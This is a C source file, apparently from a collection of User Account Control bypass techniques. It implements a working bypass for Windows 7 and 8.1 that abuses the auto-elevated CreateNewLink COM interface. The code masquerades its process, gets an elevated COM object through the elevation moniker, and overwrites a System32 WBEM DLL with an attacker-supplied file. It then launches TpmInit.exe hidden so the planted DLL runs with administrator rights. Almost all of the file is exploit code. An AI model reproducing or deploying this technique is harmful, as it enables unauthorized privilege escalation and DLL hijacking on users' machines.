UAC bypass using CreateNewLink COM interface

akagi_49a.c

typedef struct tagCREATELINKDATA {
    ULONG  dwFlags;
    WCHAR szLinkName[MAX_PATH];     // + 0x20C
    WCHAR szExeName[MAX_PATH];      // + 0x414
    WCHAR szParams[MAX_PATH];       // + 0x61C
    WCHAR szWorkingDir[MAX_PATH];   // + 0x824
    WCHAR szOriginalName[MAX_PATH]; // + 0xA2C
    WCHAR szExpExeName[MAX_PATH];   // + 0xC34
    WCHAR szProgDesc[MAX_PATH];     // + 0xE3C
    WCHAR szFolder[MAX_PATH];       // + 0x1044
    WCHAR szExt[MAX_PATH];          // + 0x124C
    WCHAR szIconFile[MAX_PATH];     // + 0x1454
    USHORT  wIconIndex; 
} CREATELINKDATA, *PCREATELINKDATA;

typedef interface ICreateNewLink ICreateNewLink;

typedef struct ICreateNewLinkVtbl {

    BEGIN_INTERFACE

        HRESULT(STDMETHODCALLTYPE *QueryInterface)(
            __RPC__in ICreateNewLink * This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void **ppvObject);

        ULONG(STDMETHODCALLTYPE *AddRef)(
            __RPC__in ICreateNewLink * This);

        ULONG(STDMETHODCALLTYPE *Release)(
            __RPC__in ICreateNewLink * This);

        HRESULT(STDMETHODCALLTYPE *CreateNewLink)(
            __RPC__in ICreateNewLink * This,
            __RPC__in PCREATELINKDATA LinkData,
            __RPC__in DWORD dwFlags);

        HRESULT(STDMETHODCALLTYPE *RenameLink)(
            __RPC__in ICreateNewLink * This,
            __RPC__in PCREATELINKDATA LinkData);

    END_INTERFACE

} *PICreateNewLinkVtbl;

interface ICreateNewLink
{
    CONST_VTBL struct ICreateNewLinkVtbl *lpVtbl;
};

//
// Win 7, Win 8.1
// CreateNewLink is not in COMAutoApprovalList in Windows 10
//
VOID Method49a_Test()
{
    HRESULT           hr;

    ICreateNewLink   *CreateNewLink = NULL;

    BIND_OPTS3        bop;
    WCHAR             szElevationMoniker[MAX_PATH], szError[100];

    CREATELINKDATA    LinkData;
    IID               xIID_CreateNewLink;

    SHELLEXECUTEINFO  sh;

    supMasqueradeProcess(FALSE);
    if (SUCCEEDED(CoInitializeEx(
        NULL,
        COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE)))
    {
        if (IIDFromString(L"{B5AB9C96-C11D-43E7-B44C-79B13EE7AC6F}", &xIID_CreateNewLink) == S_OK) {

            RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));

            _strcpy(szElevationMoniker, L"Elevation:Administrator!new:{1BA783C1-2A30-4ad3-B928-A9A46C604C28}");

            RtlSecureZeroMemory(&bop, sizeof(bop));
            bop.cbStruct = sizeof(bop);
            bop.dwClassContext = CLSCTX_LOCAL_SERVER;

            hr = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_CreateNewLink, &CreateNewLink);
            if (SUCCEEDED(hr)) {
                RtlSecureZeroMemory(&LinkData, sizeof(LinkData));
                LinkData.dwFlags = 0x200;
                _strcpy(LinkData.szExeName, L"C:\\trash\\MLP.dll");
                _strcpy(LinkData.szLinkName, L"C:\\Windows\\System32\\wbem\\wbemcomn.dll");
                hr = CreateNewLink->lpVtbl->CreateNewLink(CreateNewLink, &LinkData, 0);
                if (!SUCCEEDED(hr)) {
                    _strcpy(szError, L"CreateNewLink failed = 0x");
                    ultostr(hr, _strend(szError));
                    MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
                }
                else {
                    RtlSecureZeroMemory(&sh, sizeof(sh));
                    sh.cbSize = sizeof(sh);
                    sh.lpFile = L"C:\\Windows\\System32\\TpmInit.exe";
                    sh.nShow = SW_HIDE;
                    sh.fMask = SEE_MASK_NOCLOSEPROCESS;
                    if (ShellExecuteEx(&sh)) {
                        if (WaitForSingleObject(sh.hProcess, 5000) == WAIT_TIMEOUT)
                            TerminateProcess(sh.hProcess, 0);
                        CloseHandle(sh.hProcess);
                    }
                }
                CreateNewLink->lpVtbl->Release(CreateNewLink);
            }
            else {
                _strcpy(szError, L"CoGetObject failed = 0x");
                ultostr(hr, _strend(szError));
                MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
            }
        }                     
        CoUninitialize();
    }
    return;
}

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